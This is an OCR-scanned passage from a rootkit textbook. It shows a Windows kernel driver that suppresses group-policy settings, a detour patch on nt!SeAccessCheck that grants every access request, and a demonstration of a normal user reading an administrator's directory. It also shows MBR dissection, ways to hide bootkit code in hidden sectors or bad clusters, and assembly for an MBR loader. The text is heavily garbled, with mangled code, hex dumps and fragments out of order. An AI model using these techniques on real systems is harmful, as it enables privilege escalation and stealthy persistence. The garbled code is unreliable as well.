All three of these registry values are of type REG_DWORD. They're basically binary switches. When their corresponding policy has been enabled, they're set to exeeeeeeell. To disable them, we set them to exeeeeeeee. These values are cleared by the DisableRegDWORDPolicy() routine, which gets called when we encounter a query for one of the three registry values in question.
#define MAX_SZ_VALUNAME 64 void FilterParameters()
{
NTSTATUS
ansiString; ntStatus;
char NoChangingWallPaper[MAX_SZ_VALUNAME] = '"NoChangingWallPaper'"; char DisableTaskMgr[MAX_SZ_VALUNAME] = '"DisableTaskMgr'"; char NoControlPanel[MAX_SZ_VALUNAME] = '"NoControlPanel'"; //DBG_TRACE( '"FilterParameters '",'"Query registry value intercepted'"); ntStatus = RtlUnicodeStringToAnsiString
(
Port II
I 371
if(NT_SUCCESS(ntStatus
{
else if(strcmp(DisableTaskMgr,ansiString.Buffer)==0)
{
DBG_PRINT2( "[FilterParameters]:\tValue Name=%s\n",ansiString . Buffer); DisableRegOWORDPolicy(NoControIPanel); //don't forget to free the allocated memory RtIFreeAnsiString(&ansiString);
}
return; }/*end FilterParameters() --- --------------------------------- --- -----------*/ void DisableRegDWOROPolicy(char *valueName)
{
switch(KeyValueInformationClass_NtQueryValueKey)
{
case(KeyValueBasicInformation):
{
PKEY_VALUE_PARTIAL_INFORMATION pInfo; DI\ORD* dwPtr; DBG_TRACE("FilterParameters" , "KeyValuePartialInformation"); pInfo = (PKEY_VALUE_PARTIAL_INFORMATION) KeyValueInformation_NtQueryValueK ey; dwPtr = &( *pInfo).Data; DBG_PRINT3("[FilterParameters]:\t%s=%08x\n",valueName, *dwPtr); //disable the setting while the driver is running *dwPtr = 0x0; }break; return; }/*end DisableRegDl\ORDPolicy()--------- --- ---- ---- ------------------------ */
3721 Part II
There's a slight foible to this technique in that these queries always seem to have their KeyValueInformationClass field set to KeyValuePartialInformation. I'm not sure why this is the case, or whether this holds for all policy processing.
tJ
10000aiion
-I
()peRtion
~
RegSetv....
HKU f'To<:mon.exe System
o o o
begns with
b
~
begns wiIh begns wiIh
9 ()peRtion
Figure 6-12
r
IRP_MJ_
FASTIO_
-.
..
.1
~hf53.J67_~.OO74~)
.iLrMd"'_1Ie
~J
,a
Figure 6-13
Pa rt II
I 373
This approach works well for local group policy. For an Active Directory group policy mandated through domain controllers, you might need to be a bit more creative (particularly if you do not have administrative access to the domain controllers). Keep in mind that group policy is normally processed: When a machine starts up (for policies aimed at the computer) When a user logs on (for policies aimed at the user) Every 90 minutes with a randomized offset of up to 30 minutes.
You can also force a manual group policy update using the gpupdate. exe utility that ships with Windows.
C: \>gpupdate /force Updating Policy ..". User Policy update has completed successfully. Computer Policy update has completed successfully.
This function has ten parameters, which is definitely above the mean. Don't be intimidated by this because there are only a couple of parameters that we're interested in. In our epilog detour, we'll set the GrantedAccess output
2 Greg Hoglund, "A *REAL" NT Rootkit," Phrack , Volume 9, Issue 55, September 1999.
3741 Part II
parameter equal to the DesiredAccess input parameter. We'll also set the AccessStatus output parameter to STATUS_SUCCESS. Finally, we modify the return value of this function so that it's always TRUE (indicating to the invoking code that access is always allowed). GrantedAc cess AccessStatus Return value DesiredAccess STATUS_SUCCESS TRUE (i.e., exeeeeee~n)
We can disassemble this kernel-space call using a kernel debugger to get a look at the instructions that reside near its beginning and end.
kd> uf nt!SeAccessCheck nt!SeAccessCheck: 81ad1971 8bff 81ad1973 55 81ad1974 8bec 81ad1976 83ec9c 81ad1979 53 81ad197a 56 81ad197b 57 81ad197c 33f6 81ad197e 33c9 81ad1989 897d2490 81ad1984 8975f4 81ad1987 8d7df8 81ad198a ab 81ad198b ab 81ad198c 7529 81adlb4f 81adlb51 81adlb52 81adlbS4 81adlb56 81adlb57 81adlb58 81adlb59 81adlb5a 81adlb5d 81adlb5e 81adlb5f 33c9 49 eb92 33c9 Sf 5e 5b c9 c22800 99 99 99
rnov push rnov sub push push push xor xor c"" rnov lea stos stos jne xor inc j"" xor
pop pop pop
edi,edi ebp ebp,esp esp,OCh ebx esi edi esi,esi eax,eax byte ptr [ebp+24h],9 dword ptr [ebp-OCh],esi edi,[ebp-8] dword ptr es:[edi] dword ptr es:[edi] nt!SeAccessCheck+0x46 (81ad19b7) eax,eax eax nt!SeAccessCheck+0xle3 (81adlb56) eax,eax edi esi ebx 28h
nop
The first four statements of SeAccessCheck ( ) take up eight bytes. We can pad our prolog jump with a couple of N instructions to safely replace the OP fourth instruction (see Figure 6-14). There are no dynamic values in this code, so patching it is easier than in the first two examples.
In terms of patching the system call with an epilog jump, we face the same basic situation that we did earlier. The end of the system call is padded with
Part II 1375
NOPS, and this allows us to supplant the very last 3 bytes of the routine and then spill over into the NOPs (see Figure 6-15).
/I(JV
ED!, ED!
/I(JV
EBP, ESP
OCH
0x8B 1 0XFF
0x8B 1 0XEC
I 0xEC I 0xOC
NOP 0x90 NOP 0x90
Before After
PUSH 0x68
PrologDetourAddress 0xBE
RET 0xC3
I I I
0xAB 0xFE 28H
NOP
0xCA
Figure 6-14
RET 0xC2 NOP 0x90 NOP 0x90
0x 28
0x00
0x90
Before After
PUSH 0x68
EpilogDetourAddress 0xBE
RET 0xC3
Figure 6-15
Detour Implementation
In this example, most of our attention will be focused on the epilog detour, where we will modify this routine's output parameters. We don't use the prolog detour for anything, so it's more of a placeholder in the event that we wish to implement modifications in the future . As in both of the previous examples, the epilog detour jump occurs just before SeAccessCheck () returns to the code that invoked it. Thus, the TOS points to the return address, preceded by the arguments passed to the routine (which have been pushed on the stack from right to left, according to the _stdcall calling convention). The stack frame that our epilog detour has access to resembles that displayed in Figure 6-16. The system call's output parameters have been highlighted in black to distinguish them. For the sake of keeping things simple, we'll store the return value and all of the parameters to SeAccessChec k() in global variables.
//SeAccessCheck Return Value DWDRD RetValue_SeAccessCheck; //SeAccessCheck Parameters
376
Port II
DWORD SecurityDescriptor_SeAccessCheck; DWORD SubjectSecurityContext_SeAccessCheck; DWORD DWORD DWORD DWORD DWORD DWORD DWORD DWORD SubjectContextLocked_SeAccessCheck; DesiredAccess_SeAccessCheck; PreviouslyGrantedAccess_SeAccessCheck; Privileges_SeAccessCheck;
GenericMappin~SeAccessCheck;
/ / [esp+4)- IN PSECURITY_DESCRIPTOR //[esp+8)- IN PSECURITY_SUBJECT_ //COOTEXT //[esp+12)- IN BOOLEAN //[esp+16)- IN ACCESS_MASK //[esp+20)- IN ACCESS_MASK //[esp+24) - OUT PPRIVILEGE_SET* //[esp+28)- IN PGENERIC_MAPPING //[esp+32) - IN KPROCESSOR_MOOE //[esp+36)- OUT PACCESS_MASK //[esp+40)- OUT PNTSTATUS
ESP+40 ESP+36 ESP+32 ESP+28 ESP+24 ESP+20 ESP+ 16 ESP+ 12 ESP+8 ESP+4 TOS=ESP
OUT parameters
DesiredAccess SubjectContextLocked SubjectSecurityContext SecurityDescripto r Return Addre s s ESP Local Variab l e 1 ariab le 2 Local V
Figure 6-16
>
To maintain the sanctity of the stack, our epilog detour is a naked function. The epilog detour starts by saving the system call's return value and parameters so that we can manipulate them easily in other subroutines. Notice how we reference them using the ESP register instead of the EBP register. This is
Part II
1377
because, at the time we make the jump to the epilog detour, we're so close to the end of the routine that the ESP register no longer references the TOS.
__declspec(naked) EpiloK-SeAccessCheck()
{
MOV RetValue_SeAccessCheck,EAX //added here MOV EAX,[ESP+49) MOV AccessStatus_SeAccessCheck,EAX MOV EAX,[ESP+36) MOV GrantedAccess_SeAccessCheck,EAX MOV EAX,[ESP+16) MOV DesiredAccess_SeAccessCheck,EAX CALL FilterParameters
//Trampoline------------ ----- ----------------------------------------- -- __asm MOV EAX,RetValue_SeAccessCheck RET 0x28 }/*end DetourNtSetValueKey()----------------------- -- ---- --------------- --- */
The FilterParameters() subroutine performs the output parameter manipulation described earlier.
void FilterParameters()
{
The end result of all this is that, with this KMD loaded, a normal user would be able to access objects that the operating system would normally deny them. For example, let's assume you're logged in under an account that belongs to the users group. Under ordinary circumstances, if you tried to access the administrator's home directory you'd be stymied.
378
Port II
However, with the AccessDetour KMD loaded, you can pass into enemy territory unhindered.
C:\Users>cd admin C:\Users\admin>dir volume in drive C has no label. Volume Serial Number is EC4F-238A Directory of C:\Users\admin 03/20/2008 09:08 fIM <DIR> <DIR> 03/20/2008 09:08 fIM 03/20/2008 09:08 fIM <DIR> Contacts Desktop 06/28/2008 12:13 fIM <DIR> <DIR> Documents 03/20/2008 03:35 PM 03/20/2008 09:08 fIM <DIR> Downloads 03/20/2008 09:08 fIM <DIR> Favorites Links <DIR> 03/20/2008 09:08 fIM /'AJsic 03/20/2008 09:08 fIM <DIR> <DIR> Pictures 03/20/2008 09:08 fIM 03/20/2008 09:08 fIM <DIR> 5aved Games <DIR> Searches 03/20/2008 09:08 fIM 03/20/2008 09:08fIM <DIR> Videos o File(s) o bytes 13 Dir(s) 20,018,454,528 bytes free
Partll 1379
taken offline so that their drives can be mounted and scanned by the laptop. This way, if the machine has been compromised its binaries are not given the opportunity to interfere with the verification process. In the extreme case, where the security auditor has the necessary resources and motivation, they'll skip checksum comparisons and perform a direct binary comparison, offline, against a trusted system snapshot. Though this is an expensive approach, on many levels, it offers a higher level of protection and is probably one of the most difficult to evade.
380
Po rt II
The command above (which invokes sudo to run dd as root) reads the first sector of the / dey / sda drive and saves it in a file named mbr. bin. The bs option sets the block size to 512 bytes and the count option specifies that only a single block should be copied.
If you 're not sure how Linux names your hardware, you can always sift through the Linux startup log messages using the dmesg command.
55.156964] 57 . 186667] 57 . 186749] 57.191499] 57.191698] Floppy drive(s): fd9 is 1.44M sda1 sda2 sda3 sd 9:9:9:9: [sda] Attached SCSI disk sre: scsi3 - mmc drive: 48x/48x writer cd/rw xa/form2 cdda tray sr 1:9:9:9: Attached scsi CD-ROM sre
The output generated by dmesg can be extensive, so I've only included relevant lines of information in the previous output. As you can see, Linux has detected a floppy drive, a SCSI hard drive, and a CD-ROM drive. A hex dump of the mbr . bin file is displayed in Figure 6-17.
offset (h) 00000000 00000010 00000020 000000 30 00000040 00000050 00000060 00000070 00000080 00000090 OOOOOOAO OOOOOOBO OOOOOOCO 00000000 OOOOOOEO OOOOOO FO 00000100 00000110 00000120 00000130 00000140 00000150 00000160 000001 70 00000180 00000190 000001AO 000001S0 000001eO 00000100 000001EO 000001FO 00 01 33 eO 06 B9 BD BE E2 F1 B4 41 F7 e 1 26 66 7e 68 9F 83 8A 76 4E 11 EB 82 7D 55 D1 E6 64 E8 FB 54 BS 00 53 66 00 66 00 eD 32 E4 OE eD 02 e3 69 6F 6e 6F 67 20 20 6F 6D 00 01 00 01 OB 41 D4 00 00 02 8E 00 07 eD BB 01 68 01 e4 01 OF 55 AA 64 71 43 00 53 61 05 10 49 6E 61 73 0 00 DE 07 07 00 03 DO 02 80 18 AA 00 00 00 10 8A 85 32 75 EB 00 50 66 66 68 AO 00 ES 6E 20 64 79 65 00 FE FE FE 00 04 Be Fe 7E 88 55 4 00 68 9E 4E OC E4 6E 7F B8 41 68 55 00 B7 07 F2 76
4
1B
69 73 72 00 3F 7F FF 00
05 00 F3 00 56 eD 03 00 10 EB 02 00 8A FF 00 00 75 00 66 00 07 8S 2B 61 61 6E 74 61 62 07 D3 FA 00
06 e A4 00 00 13 FE 00 00 14 8A 80 56 76 BO BB 32 02 07 EB FO e9
6C
07 8E 50 7e 55 5D 46 66 B4 B8 6E 7E 00 00 DF eD
B1
6B 00
00 eD Ae E4 69 6e 20 6D 69 99 00 F8 F8 00
OB
62 67 65 74 7A 3F 00 00 00
08 eO 68 OB e6 72 10 FF 42 01 03 00 eD E8 E6 1A F9 00 00 1A AO 3e 64 64 65 6F 00 6E 8e 00 01 36 00
09 8E 1e OF 46 OF 66 76 8A 02 eD 80 13 8A 60 66 02 66 00 5A B6 00 EB 20 00 70 4D 67 73 00 00 OC 00
OA D8 06 85 11 81 60 08 56 BB 13 OF 5D 00 E8 23 01 68 00 32 07 74 00 70 45 65 69 20 F4 e9 00 00 00
OB BE eB 10 05 FB 80 68 00 00 66 84 EB OF 78 eo 72 08 66 F6 EB Fe 24 61 72 72 73 73 00 F5 00 58 00
OC 00 FB 01 e6 55 7E 00 8B 7e 61 8A
9C
85 00 75 2e 00 68 EA 03 SS 02 72 72 61 73 79 00 01 35 69 00
OD e B9 83 46 AA 10 00 F4 8A 73 00 81 15 SO 3B 66 00 00 00 AO 07 EO 74 6F 74 69 73 00 00 OC 06 00
OE BF 04 e5 10 75 00 68 eD 56 1E B2 3E 00 FF 66 68 00 7e 7e S5 00 F8 69 72 69 6E 74 00 80 00 00 55
OF 00 00 10 00 09 74 00 13 00 FE 80 FE BO E6 81 0 66 00 00 07 S4 24 74 20 6E 67 65 01 00 00 00 AA
~)I . - . .
I .. . .. fA .
. '(F ..
A" u1.] r .. Ouu. ~A . . t . pF.f - . . t &fh .... f yv . h .. h. I h .. h .. BSV. <01. Y . ze . . ' . . 1Sv. fA Sv .SN.Sn. 1.fas.p N.. _ .. -. . S."
e.u2aSv.1 . ]e~ . > p
}uunyv . g . . ..... . N~d e .. B~ ex . ~ deq . . ,.1. f#Au; f. uTePAu2 . U . r f h . .. fh . . .. fh .... f sfsfufh .. .. fh. I . fah . .. 1.z2<ie . I . .1. ' . e. . e. ~.
2a . . .
<~<.
t U .. .
. Alnva li d partit i on table . Er ror l oad i ng oper atin g system. M issing operat i ng s ys te m.. . bZ~<ESOD . . .. . P~? ? .. 0 .. . .. . 0 . 0 .. . . 5 . . . Ad. yu . o6 .. x i .. .
. 1. eb+ade.S.ao$
. ... ......... ua
Figure 6-17 The Windows MBR contains six distinct sections (see Table 6-2).
Port II
1381
Table 62
Stort Offset
aaaa al62 alB8 alBe alBE alFE
End Offset
al6l alB7 alBB alBD alFD alFF
# of B ytes
D escription MBR boot code String table Disk signature Null bytes (i.e., axaaaa) Partition table (4 entries, 16 bytes for each entry) First sector signature (i.e., axAASS)
7 7
4 2 64 2
The MBR boot code section consists of the instructions that read the partition table and use it to load the VBR from the active partition. The string table following this code is a set of null-terminated strings used to display error messages in the event that things go awry during the boot process.
Invalid partition table. Error loading operating system. Missing operating system.
Next up is the 32-bit disk signature located at offset exlBS, which Windows uses to uniquely identify a drive. At run time, Windows uses this identifier to access drive metadata in the registry (e.g., drive letter). The partition table is a contiguous array of four partition table entries. Each table entry describes a partition and is 16 bytes in size. The active partition will have its first byte set to exse. The rest of the fields within each table entry are used to describe the location and size of the partition. The final element in the MER is a 16-bit signature (i.e., exAA55) that signals to the BIOS that this is indeed a valid boot sector. Some BIOS implementations ignore this field, others require it. To help you distinguish the relative position of these different sections within the MBR, Figure 618 revisits Figure 6-17 by shading the different sections with alternating black and gray backgrounds. For the sake of brevity, and scale, I've eliminated the initial code section. As you can see, the second partition table entry describes the disk's active partition.
3821 Part"
Offset(h) 00 01 02 03 0 4 0 5 06 07 08 09 OA OB OC 00 OE OF 00000160 00000170 00000180 00000190 000001AO 000001BO 000001CO 00000100 000001 EO 00000 1F O 8C 73 F4 DO _ 00 01
"~, ,,:,~,. ,~
,e
loading operacin 9 system .Missing ope rati ng syste m ... . bz"'CEsofl . . .. . . t>9? ? .. Eo . . . .. . 9 . 6 . " .... 5 . . . AO . 9yU . ,,6 .. xi. ..
. . . . . . . . . . . . . . U
01 00 DE FE 3 F 07 3 F 00 00 00 C9 F5 01 00 80 00 01 08 07 FE 7 F 03 00 F8 01 00 00 00 35 OC 00 00 4 1 0 4 07 FE FF FA 00 F8 36 OC 00 5 8 6 9 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
II1II
Figure 6-18
Offset
2
3
ee 8e ee ee
e1 ee ee ee
e1 e1 41 ee
ee e8 D4 ee
DE e7 e7 ee
FE FE FE ee
3F 7F FF ee
e7 03 FA ee
3F ee ee ee
ee F8 F8 ee
ee e1 36 ee
ee ee ec ee
C9 ee ee ee
F5 ee 58 ee
e1 35 69 ee
ee ec e6 ee
Each partition table entry consists of 10 fields. They range in size from 6 bits to 32 bits.
Table 6-4 Bit Offset 0 B 16 L ength B B DeS criptIOn Boot indicator Start head Start sector Usage OxBO if active (OxOO otherwise) Disk head where partition begins (range: 0-255) Sector where partition begins (range: 1-63)
Port II
1383
II
f--
Bit Offset
length
10
D escrlpllon Start cylinder System ID End head End sector End cylinder
f--
Usage Cylinder where partitian begins (range: 0-1 ,023) See below Disk head where partition terminates Sector where partition terminates Cylinder where partition terminates Offset (in sectors) from the start of the disk Total number of sectors in the partition
22
32 40 48 54 64 96
8 8
--
6 10 32 32
+-
Relative sectors
Toto Isectors
This scheme uses three coordinates to specify a particular location on the drive: cylinder, head, and sector (often referred to in aggregate as the CHS fields). If these terms are foreign to you, take a look at Figure 6-19. The prototypical hard drive consists of a stack of metal platters. Each platter has two sides (or heads) and consists of a series of concentric tracks. Each track is then broken down into sectors. The most common sector size for hard drives is 512 bytes.
Track
, . . . - - - - - Head
,,
Figure 6-19
To make disk I/O more efficient, the system groups neighboring sectors together into a single unit called a cluster. The size of a cluster, in terms of disk sectors, can vary. Though, in general a larger disk will use larger clusters.3
Microsoft Corporation, "Default Cluster Size for FAT and NTFS," Knowledge Base Article 140365,August22,2007.
384
Part"
Tobie 6-5
V olume S ize 7MB - 512MB 513 MB - 1,024 MB 1,025 MB - 2 GB 2 GB - 2TB D efault NTFS C ter Size lus 512 bytes 1 KB 2 KB 4 KB
If you collect the same track for all of the platters, you end up with a concen-
tric set of tracks that can be seen as forming a three-dimensional cylinder (hence the term). For example, cylinder 0 is just the set of zero tracks for all of the platters. The system ID field specifies the file system that was used to format the partition. Windows recognizes the following values for this field:
OxOl Ox04 Ox05 Ox06 Ox07 OxOB OxOC OxOE OxOF Ox12 Ox42 Ox84 Ox86 Ox87 OxAO OxDE OxFE OxEE OxEF
FAT12 primary partition or logical drive FAT16 partition or logical drive Extended partition BIGDOS FAT16 partition or logical drive NTFS partition or logical drive FAT32 partition or logical drive FAT32 partition or logical drive (BIOS INT 13h extensions enabled) BIGDOS FAT16 partition or logical drive (BIOS INT 13h extensions enabled) Extended partition (BIOS INT 13h extensions enabled) EISA partition or OEM partition Dynamic volume Power management hibernation partition Multidisk FAT16 volume created with Windows NT 4.0 Multidisk NTFS volume created with Windows NT 4.0 Laptop hibernation partition Dell OEM partition IBM OEM partition GPT partition (GPT stands for GUID partition table and is part of the EFI spec) EFI system partition on an MBR disk
Port II 1385
Let's dissect a partition table entry to illustrate how they're encoded. Assume the following partition table entry (in hexadecimal):
813 131 131 1313 137 Fe FF FF 3F 1313 1313 1313 8D F2 34
ae
We can group these bits into the 10 fields defined earlier. I've suffixed binary values with the letter "B" to help distinguish them. Boot indicator Start head Start sector Start cylinder System ID End head End sector End cylinder Relative sectors Total sectors
ex8e (active partition)
1
[eeeee1B]
=1 =0
[eeeeeeeeeeB]
[1111111111B] = 1,023
Thus, the partition table entry describes an activate NTFS partition whose CHS start fields are set to (0, 1, 1) and whose CHS end fields are set to (1023, 254, 63). It starts 63 sectors from the beginning of the disk and is roughly 97 GB in size.
Patch or Replace?
To see what the MBR's boot code does, explicitly, you can disassemble it using the Netwide Disassembler: 4
ndisasm mbr.bin > disasm.txt
The MBR's boot code is implemented by approximately 130 lines of assembly code. If you'd like to examine this code, I've relegated its listing to the appendix (see the MBR Disassembly project). One thing you should notice by looking at this code, all 354 bytes of it, is that it's pretty tight. Like a college student moving all of his worldly belongings in a VW bug, there isn't much wiggle room. Rather than inject code directly into the MBR, it's probably a better idea to move the MBR somewhere else and replace it with our own code. Even then, 512 bytes probably would not give us enough space to do what we need to do (we'd probably end up with around a couple kilobytes of code, which would require four to five sectors).
4 http://nasm.sourceforge. net/
3861 Port II
Hence, the solution that offers the most flexibility is to replace the MBR with a loading program (the bootkit loader) that loads our primary executable (the bootkit). Once the bootkit has loaded, and done whatever it needs to, it can load the MBR. This multi-stage boot patch gives us maximum flexibility without having to fiddle with the innards of the MBR. This is similar in spirit to the type of approach used by boot managers to facilitate multi-booting. The difference being that we're trying to be inconspicuous and make it seem as though the machine is behaving normally.
Hidden Sectors
This leaves one last detail. Where do we stash the original MBR and the extra code that wouldn't fit in the MBR sector? One answer is to make use of what's known as hidden sectors. Hidden sectors are sectors on a drive that don't belong to a partition. According to Microsoft, there are hidden sectors between the MBR and the first primary partition: 5 "In earlier versions of Windows, the default starting offset for the first partition on a hard disk drive was sector elx3F. Because this starting offset was an odd number, it could cause performance issues on large-sector drives because of misalignment between the partition and the physical sectors. In Windows Vista, the default starting offset will generally be sector elx8elel."
F 6-20 igure
Partition 02 (Active)
Microsoft Corporation, "Windows Vista support for large-sector hard disk drives," Knowledge Base Article 923332, May 29, 2007.
Pa rt II
I 387
This means that there's plenty of room to work with. Even under XP, 63 sectors should be more than enough space. With Vista, we have 2,048 sectors available. You can verify this with the PowerQuest Partition Table Editor utility from Symantec6 (see Figure 6-21). This handy utility can save you the trouble of manually decoding a partition table.
_M _ .......... a _ ... _
Figure 6-21
ftp://ftp. symantec.com/publidenglish_us_canada/tools/pq/utilities/
388
Pa rt II
by the number of non-zero bytes in the first few sectors. Nevertheless, if we only need to hide three or four sectors worth of code . . . Following the boot sector preamble is the Master File Table (MFT). The MFT is a repository for file metadata. It consists of a series of records, s uch that each file and directory has (at least) one record in the MFT. MFT records are 1 KB in size, by default, and consist primarily of attributes used to describe their corresponding file system objects. The first 16 records of the MFT describe special system files. The system files are created when the NTFS volume is formatted and normally they're hidden from view (i.e., for internal use only). These special files implement the file system and store metadata about the file system. The first eight of these system files are listed in Table 6-6.
Table 6-6
System File SMIt SMItMirr SLogFile SVolume SAttrDef MFT Record SystemFile D esUiptlOn The MFT itself Apartial backup of the MFT's first four records Atransaction log used to restore the file system alter crashes Stores volume metadota {e.g., volume lobel, creation time} Stores NTFS attribute definitions {metadata on attributes} The root directory folder Indicates the allocation status of each duster in the volume Represents the code and data used to bootstrap the system Stores bad dusters
0
1
2
3
4 5
7 8
Of particular interest are the $BadClus and $Bi tmap files . To hide a cluster by marking it as bad, you'd have to alter both of these files (i.e., modify $BadClus to include the cluster and modify $Bi tmap so that cluster is marked as unallocated).
Rogue Partition
If you're feeling really brazen, and are willing to accepting the associated risk, you can edit the MBR's partition table and stash your bootkit sectors in a dedicated partition. Though, in your author's opinion, you'd need a pretty damn big bootkit to justify this (perhaps it would be a microkernel-based system or a virtual machine?).
A variation of this technique is to boldly stake a claim in the "utility partition" that ships with many computers. For example, the first partition on many
Po rt II
I 389
II
Dell machines is a bootable diagnostic environment. This sort of partition usually doesn't show up as an official drive in Windows Explorer, though it may be partially visible from a tool like diskmgmt. msc.
MBR Loader
To help you get your feet wet, I'm going to start with a partial solution that will give you the tools you need to move forward. Specifically, in this section I'm going to implement a boot sector that you can initiate from a secondary device (e.g., a floppy disk drive) that will relocate itself and then load the MBR, illustrating just how easy it is to inject code into the boot process. Once you understand how this code works, it should be a simple affair to extend it so that it loads an arbitrary bootkit instead of the MBR. Boot sector code consists of raw binary instructions. There's no operating system or program loader in place to deal with special executable file formatting (like you'd find in an .exe file). Furthermore, IA-32 machines boot into real mode and this limits the sort of instructions that can be used. Finally, if you're going to include data storage in your boot code, it will have to be mixed in with the instructions and you'll need to find ways to work around it. Essentially, a boot sector is a DOS .com program without the ORG directive at the beginning. The ORG lElElH directive that precedes normal .com programs forces them to assume that they begin at an offset address of ElxEllElEl. We know that the BIOS will load our boot code into memory at address ElElElEl: 7CElEl. Thus, we'll have to preclude the usual ORG directive and bear in mind where we're operating from . If you read the LoadMBR boot code in the appendix you'll see that this is the same approach that it uses. Now let's begin our walk through the code. The first statements that we run into are END_STR and RELOC_ADDR macro definitions. The END_STR macro defines an arbitrary string terminator that we'll use while printing out messages to the screen. The RELOC_ADDR macro determines where we'll move our code so that we can load the MBR where it expects to be loaded (i.e., ElElElEl: El7CElEl).
END_STR RELOC_ADDR EQU 24H EQU 9600H
These macro definitions are merely directives intended for the assembler, so they don't take up any space in the final binary. The first instruction, a JMP statement, occurs directly after the _Entry label, which defines the starting point of the program (per the END directive at the bottom of the source file). This jump statement allows program control to skip over some strings that
390
Po rt II
I've defined; otherwise, the processor would assume the string bytes were instructions and try to execute them. After allocating string storage via the jump statement, I initialize a minimal set of segment registers and set up the stack. Recall that the stack starts at a high address and grows downward to a low address as items are pushed on (which may seem counterintuitive). Given that the BIOS loads our program into memory at exe7cee, and given that there's not much else in memory at this point in time, we can set our stack pointer to ex7cee and allow the stack to grow downward from there. This "bottomless pit" approach offers more than enough space for the stack.
CSEG SEGMENT BYTE PUBLIC 'CODE' ; This label defines the starting point (see END statement)-------------- ---_Entry: JMP _overOata _message DB 'Press any key to boot from an I13R', OOH, 0AH, END_STR _endMsg DB 'This is an infinite loop', OOH, 0AH, END_STR ; Set up segments and stack------------------------------------ - ------------_overOata: ~ AX,CS ~ DS,AX ~ SS,AX ~ SP,7COOH
Now that we've got the basic program infrastructure components in place (i.e., program segments, stack, data storage), we can do something. The first thing we do is relocate our code. The MBR is written in such a way that it expects be loaded at eeee :7cee. This means that at some point we have to get out of the way. Better now than later.
; mov CX bytes from DS:[SI] to ES:[DI] ; move 512 bytes (I13R code) from eeee:7COO to eeee:0600 Thus, all offsets below are relative to 0x00600 This makes room for the partition boot sector ~ ES,AX ~ DS,AX ~ SI,7COOH ~ DI,RELOC_ADDR ~ CX,0200H CLD ; increment SI and DI REP ~B
Now that we've moved our code, we need to shift the execution path to the new copy. The following code does just that. To determine the offset from eeee: e6ee where I needed to jump to in order to start (in the new code) exactly where I left off in the old code, I wrote the assembler in two passes. The first time around, I entered in a dummy offset and then disassembled the
Portll 1391
code to see how many bytes the code consumed up to the RETF instruction (60 bytes). Once I had this value, I rewrote the code with the correct offset (136613). The first instructions after the jump print out a message. This message prompts the user to press any key to load the MBR.
; jump to relocated MBR code at CS:IP (aeee:9660) ; skip first few bytes to begin at the following "I'OJ BX,9660H" instruction PUSH AX I'OJ BX, 9660H PUSH BX RETF
I'OJ BX,06e2H CALL _PrintMsg
Loading the MBR is a simple matter of using the correct BIOS interrupt. The MBR is located at cylinder 0, head 0, and sector 1. As mentioned earlier, the contents of the MBR has to be loaded at 13131313: 7cee. Once the code has been loaded, a RETF statement can be used to redirect the processor's attention to the MBR code.
I'OJ I'OJ I'OJ I'OJ I'OJ I'OJ I'OJ
; Load MBR into memory------------------------------------------------------AL,01H ; # of sectors to read CH,eeH ; cylinder/track number (low eight bits) CL,01H ; sector number DH,eeH ; head/side number DL,BaH ; drive C: = BaH BX,7CeeH ; offset in RAM AH,02H INT 13H ; Execute MBR boot code-------------------------------------------------- ----
PUSH BX
I'OJ BX,7CeeH
PUSH BX RETF ; INT leH, AH=eEH, AL=char (BIOS teletype) -------------- ---- ----------- - ---_PrintMsg: yrintMsgLoop: I'OJ AH,0EH I'OJ AL,BYTE PTR [BX] CMP AL,EMJ_STR JZ _endPrintMsg INT 1eH INC BX
392
Pa rt \I
CSEG HDS
END _entry
When this code is assembled, the end result will be a raw binary file that easily fits within a single disk sector. The most direct way to write this file to the boot sector of a floppy diskette is to use the venerable DOS Debug program. The first thing you need to do is load the binary into memory with the D ebug program:
C:\> Debug mbrloader.com
This loads the .com file into memory at an offset address of 0x0100. The real-mode segment address that the debugger uses can vary. Next, you should insert a diskette into your machine's floppy drive and issue a write command.
-w
100 e e l
The general form of this command is: w address drive sect or nSectors Thus, the previous command takes whatever resides in memory, starting at offset address 0x100 in the current real-mode segment, and writes it to drive o(i.e., the A: drive) starting at the first logical sector of this drive (which is denoted as sector 0) such that a total of one sector is copied to the diskette.
IA-32 Emulation
If you ever decide to experiment with bootkits, you'll quickly discover that testing your code can be an extremely time-intensive process. So much so that it seriously hinders development. Every time you make a change, you'll have to write the boot code to a diskette (or a CD, or a USB thumb drive, or your hard drive) and reboot your machine to initiate the boot process.
Furthermore, testing this sort of code can be like walking around in the dark. You can only do so much with print messages when you're working in an environment where there's nothing but BIOS support. This becomes especially apparent when there's a bug in your code and the processor goes
AWOL.
One way to work more efficiently is to rely on a hardware emulator. A hardware emulator is a software program designed to imitate a given system architecture. There are a number of vendors that sell commercial emulators,
Po rl 'II
I 393
such as VMware.7 Naturally, Microsoft offers its own emulator, Virtual PC 2007, in addition to a more recent product for Windows Server 2008 named Hyper-V. To develop the example code that I presented earlier, I used an open source emulator named Bochs. 8 Bochs is fairly simple to use. Assuming your PATH environmental variable has been set up appropriately, you can invoke it on the command line as follows:
C:\>bochs -f Bochsrc.txt
The -f switch specifies a configuration file (whose official name is Bochsrc). This configuration file is the only thing that you really need to modify, and they tend to be rather small. In the configuration file, you tell Bochs how many drives it can access and whether the drives will be image files or actual physical devices. There are a handful of other parameters that can be tweaked, but the core duty of the file is specifying storage devices. If you happen to read the documentation for Bochsrc, you may end up feeling a little lost, so it may be instructive to look over a couple of examples. For instance, I started by giving the Bochs machine access to both a disk image file (c. img, to represent a virtual C: drive) and my computer's CD/DVDRW drive (E:). This way, when Bochs launched I could boot from the DVD in my E: drive and install a copy of Vista onto the image file. For Vista, I'd advise using an image file at least 20 GB in size. The corresponding configuration file looked like:
megs: 512 ramimage: file= . \BIOS-bochs-latest vgaromimage: file=.\VGABIOS-lgpl-latest vga : extension=vbe cpu: count=l, ips=lseeeeeee atae-master : type=disk, path=.\c.img, mode=flat, cylinders=41619, heads=16, spt=63 ata1-master: type=cdram, path=e:, status=inserted floppy_bootsiK-check: disabled=l boot: cdram, disk log: bochsout.txt mouse: enabled=9 vga_update_interval: 1saaaa
Don't get frustrated if any parameter above isn't clear. The Bochs user guide has an entire section devoted to Bochsrc. For now, just pay attention to the lines that define storage devices and their relative boot order:
7 http://www.vmware.com/ 8 http://bochs.sourceforge.net/
394
Po rt II
